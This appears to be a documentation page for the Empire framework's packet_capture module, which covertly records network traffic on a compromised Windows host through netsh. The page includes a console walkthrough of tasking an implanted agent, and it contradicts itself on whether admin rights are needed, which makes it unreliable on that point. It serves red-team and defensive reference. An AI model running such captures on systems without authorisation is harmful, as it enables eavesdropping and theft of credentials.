Invoke-PacketCapture - Empire Module


This page contains detailed information about how to use the powershell/collection/packet_capture Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview


Name: Invoke-PacketCapture
Module: powershell/collection/packet_capture
Source code [1]: empire/server/modules/powershell/collection/packet_capture.yaml
Source code [2]: empire/server/modules/powershell/collection/packet_capture.py
MITRE ATT&CK: T1040
Language: PowerShell
Needs admin: Yes
OPSEC safe: No
Background: No

The packet_capture module starts a packet capture on a host using netsh.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the packet_capture module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options


This is a list of options that are required by the packet_capture module:

Agent
Agent to run module on.

MaxSize
Maximum size of capture file. Blank for no limit.
Default value: 100MB.

TraceFile
File to log the capture out to.
Default value: C:\capture.etl.

Additional Module Options


This is a list of additional options that are supported by the packet_capture module:

Persistent
Switch. Persist capture across reboots.

StopTrace
Switch. Stop trace capture.

Packet_capture Example Usage


Here's an example of how to use the packet_capture module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/collection/packet_capture

 Author       @obscuresec                                                       
              @mattifestation                                                   
 Background   False                                                             
 Comments     http://obscuresecurity.blogspot.com/p/presentation-slides.html    
              http://blogs.msdn.com/b/canberrapfe/archive/2012/03/31/capture-a- 
              network-trace-without-installing-anything-works-for-shutdown-and- 
              restart-too.aspx                                                  
 Description  Starts a packet capture on a host using netsh.                    
 Language     powershell                                                        
 Name         powershell/collection/packet_capture                              
 NeedsAdmin   True                                                              
 OpsecSafe    False                                                             
 Techniques   http://attack.mitre.org/techniques/T1040                          


,Record Options---------------,----------,-------------------------------------,
| Name       | Value          | Required | Description                         |
|------------|----------------|----------|-------------------------------------|
| Agent      |                | True     | Agent to run module on.             |
|------------|----------------|----------|-------------------------------------|
| MaxSize    | 100MB          | True     | Maximum size of capture file. Blank |
|            |                |          | for no limit.                       |
|------------|----------------|----------|-------------------------------------|
| Persistent |                | False    | Switch. Persist capture across      |
|            |                |          | reboots.                            |
|------------|----------------|----------|-------------------------------------|
| StopTrace  |                | False    | Switch. Stop trace capture.         |
|------------|----------------|----------|-------------------------------------|
| TraceFile  | C:\capture.etl | True     | File to log the capture out to.     |
'------------'----------------'----------'-------------------------------------'

(Empire: usemodule/powershell/collection/packet_capture) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/collection/packet_capture) > set MaxSize 100MB
[*] Set MaxSize to 100MB
(Empire: usemodule/powershell/collection/packet_capture) > set TraceFile C:\capture.etl
[*] Set TraceFile to C:\capture.etl
(Empire: usemodule/powershell/collection/packet_capture) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors


References


See Also


Check also the following modules related to this module:

Version


This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.